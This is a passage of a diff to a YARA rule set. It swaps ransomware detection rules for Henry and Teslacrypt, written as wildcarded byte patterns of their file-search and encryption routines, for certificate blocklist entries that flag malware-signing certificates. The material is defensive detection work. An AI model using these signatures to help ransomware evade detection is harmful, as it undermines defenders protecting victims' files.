"ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Henry.yara#L1-L80" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15242-L15258" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e6ab2a8a344d40407118e29ff78f5a0144f42a0fbdee19a80b341b59f056d292" + logic_hash = "54ca9b19adfc9357a3fb74f0670ad929319c4d06a7de7ae400f8285a31052276" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Henry" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 02 6F ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? - ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 06 8E 69 32 ?? 02 6F ?? ?? ?? ?? 0D 16 0B 38 ?? ?? - ?? ?? 09 07 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 19 17 73 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? D4 8D - ?? ?? ?? ?? 13 ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 26 6F ?? ?? ?? ?? 11 ?? 6F ?? - ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 18 18 73 ?? ?? ?? ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ?? - ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 09 8E 69 3F ?? ?? - ?? ?? 2A - } - $encrypt_files = { - 02 8E 2D ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 03 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 - ?? ?? ?? ?? 7A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 28 ?? - ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 03 08 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 1F ?? 6F ?? ?? ?? - ?? 07 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 25 02 16 02 8E 69 6F ?? ?? ?? - ?? 25 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? - 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 FE ?? 09 6F ?? ?? ?? ?? DC 06 2A - } - $setup_environment = { - 02 28 ?? ?? ?? ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 - ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 02 28 ?? ?? ?? ?? 2A - } - $init_components = { - 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 - 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19 - 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? - ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 6F ?? ?? - ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? - ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 - 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ?? - ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 22 ?? ?? ?? ?? 22 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 02 17 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ?? - ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 02 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 16 28 ?? ?? ?? ?? 02 28 ?? ?? - ?? ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $setup_environment ) and ( $init_components ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Web Nexus d.o.o." and pe.signatures [ i ] . serial == "21:b9:91" and 1125477041 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Teslacrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1Cc37De5Dbed097F98F56Dbc : INFO FILE { meta: - description = "Yara rule that detects Teslacrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "842dae76-573c-564d-b658-ccdda451df21" - date = "2020-06-26" - modified = "2020-07-15" + id = "8c362133-a30f-599d-88e0-a1448433178a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Teslacrypt.yara#L1-L665" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15260-L15276" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cc054be68d833d9f29a4ebd1c202922881b0d22a2605edc7def1048dc08f6325" + logic_hash = "a2d04275b9fe37308c8f1dca75f4cc3c4a8985930f901e1f46e3ddc2977eea32" score = 75 - quality = 65 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + quality = 90 + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Teslacrypt" + category = "INFO" importance = 25 - strings: - $file_search_0_3_1_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 55 56 8B B4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 6A ?? 50 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? - 51 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 B5 01 00 00 53 8B 1D ?? ?? ?? ?? 57 8B BC 24 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? - 83 3D ?? ?? ?? ?? ?? 0F 85 89 01 00 00 F6 44 24 ?? ?? 0F 84 D2 00 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 - 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 - 29 01 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 8D 49 ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 - C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 EA 00 00 00 56 8D 94 24 ?? ?? ?? ?? 68 - } - $file_search_0_3_1_2 = { - 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 7E FE FF FF 83 C4 ?? E9 93 00 00 00 56 8D 8C 24 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 44 24 ?? - 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? - 85 FF 74 25 85 C0 75 35 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 23 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? EB - 11 85 C0 74 10 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 55 FF D3 85 C0 74 0D 83 3D ?? ?? ?? ?? ?? - 0F 84 6A FE FF FF 55 FF 15 ?? ?? ?? ?? 5F 5B 8B 8C 24 ?? ?? ?? ?? 5E 5D 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $file_search_0_3_3_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 55 56 8B B4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 6A ?? 50 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? - 51 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 57 02 00 00 53 8B 1D ?? ?? ?? ?? 57 8B BC 24 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? - 83 3D ?? ?? ?? ?? ?? 0F 85 2B 02 00 00 F6 44 24 ?? ?? 0F 84 74 01 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 - 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 - CB 01 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 8D 49 ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 - C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 8C 01 00 00 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 52 E8 ?? ?? ?? ?? 8B C6 83 C4 ?? 8D 50 ?? 8B FF 66 8B 08 83 C0 ?? 66 85 C9 75 F5 2B C2 D1 F8 83 F8 ?? 76 1A 68 ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 - } - $file_search_0_3_3_2 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 - ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 E8 00 00 00 8D 8C 24 ?? ?? ?? ?? B8 ?? - ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB - 05 1B C0 83 D8 ?? 85 C0 0F 84 A9 00 00 00 8D 84 24 ?? ?? ?? ?? 57 50 E8 DC FD FF FF 83 C4 ?? E9 93 00 00 00 56 8D 8C 24 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 44 - 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 85 FF 74 25 85 C0 75 35 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 23 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? - ?? EB 11 85 C0 74 10 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 55 FF D3 85 C0 74 0D 83 3D ?? ?? ?? - ?? ?? 0F 84 C8 FD FF FF 55 FF 15 ?? ?? ?? ?? 5F 5B 8B 8C 24 ?? ?? ?? ?? 5E 5D 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $file_search_0_3_4a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 55 56 8B B4 24 ?? ?? ?? ?? 57 33 FF 68 ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? 57 50 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 57 51 66 89 BC - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F - 84 99 02 00 00 8B BC 24 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 76 02 00 00 F6 44 24 ?? ?? 0F 84 6B - 01 00 00 8D 44 24 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 38 02 00 00 8D 4C 24 ?? 51 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 1E 02 00 00 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? 83 F8 ?? 76 1A 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D - 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 0F 84 AF 01 00 00 8D 8C 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 92 01 00 00 8D 94 24 ?? ?? - ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 75 01 00 00 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 - } - $file_search_0_3_4a_2 = { - 83 C4 ?? 85 C0 0F 84 58 01 00 00 8D 8C 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 3B 01 - 00 00 8D 94 24 ?? ?? ?? ?? 57 52 E8 10 FE FF FF 8D 84 24 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? E9 E7 00 00 00 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 79 8D 54 - 24 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 7F 00 00 00 8D 44 24 ?? 50 E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 63 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 75 47 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 35 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB 23 8D - 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 10 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 - ?? 50 55 FF D3 85 C0 74 0D 83 3D ?? ?? ?? ?? ?? 0F 84 7D FD FF FF 55 FF 15 ?? ?? ?? ?? 5B 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D - 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $file_search_0_3_5a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 8B AC 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 6A ?? 50 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A - ?? 51 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 55 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? - 52 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 0F 84 91 03 00 00 8B 9C 24 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 84 73 02 00 00 8D 4C - 24 ?? B8 ?? ?? ?? ?? 90 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 - 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 23 03 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 1E - 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 E3 - 02 00 00 55 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C5 83 C4 ?? 8D 50 ?? 8B FF 66 8B 08 83 C0 ?? 66 85 - C9 75 F5 2B C2 D1 F8 83 F8 ?? 76 1A 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 - 24 ?? 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 - 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 - C0 0F 84 3F 02 00 00 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? - 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 00 02 00 00 8D 8C 24 ?? ?? ?? ?? B8 - } - $file_search_0_3_5a_2 = { - 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 - 1B C0 83 D8 ?? 85 C0 0F 84 C1 01 00 00 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B - 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 82 01 00 00 8D 8C 24 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 - 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 43 01 00 00 8D 8C 24 ?? ?? ?? ?? 53 51 E8 0F FD FF FF 8D 94 24 ?? ?? ?? ?? - 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ED 00 00 00 55 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 - 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 8D 44 24 ?? 0F 84 79 00 00 00 50 E8 ?? ?? ?? ?? 83 C4 ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 78 00 00 00 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 59 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 3A 8D 7C 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 2C 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 1E 68 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 0C 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 8D 4C 24 ?? 51 57 FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 7D FC FF FF 57 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_file_0_2_6a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 33 C0 56 8B B4 24 ?? ?? ?? ?? 57 33 FF 68 ?? ?? - ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 88 84 - 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? 57 50 89 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 1A 57 56 - FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 89 7C 24 ?? 75 21 56 FF 15 ?? ?? ?? ?? 5F 83 C8 ?? 5E 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? - ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 81 FF ?? ?? ?? ?? 77 D7 53 55 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 94 24 ?? ?? - ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 8B D7 83 E2 ?? BB ?? ?? ?? ?? 2B DA 89 8C 24 - } - $encrypt_file_0_2_6a_2 = { - 8B 8C 24 ?? ?? ?? ?? 03 FB 57 89 84 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B E8 83 C4 ?? 85 ED 74 3C - 8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 55 56 FF 15 ?? ?? ?? ?? 85 C0 74 24 8B 44 24 ?? 3B 44 24 ?? 75 1A 53 8D 14 28 53 52 - E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 0F 56 FF 15 ?? ?? ?? 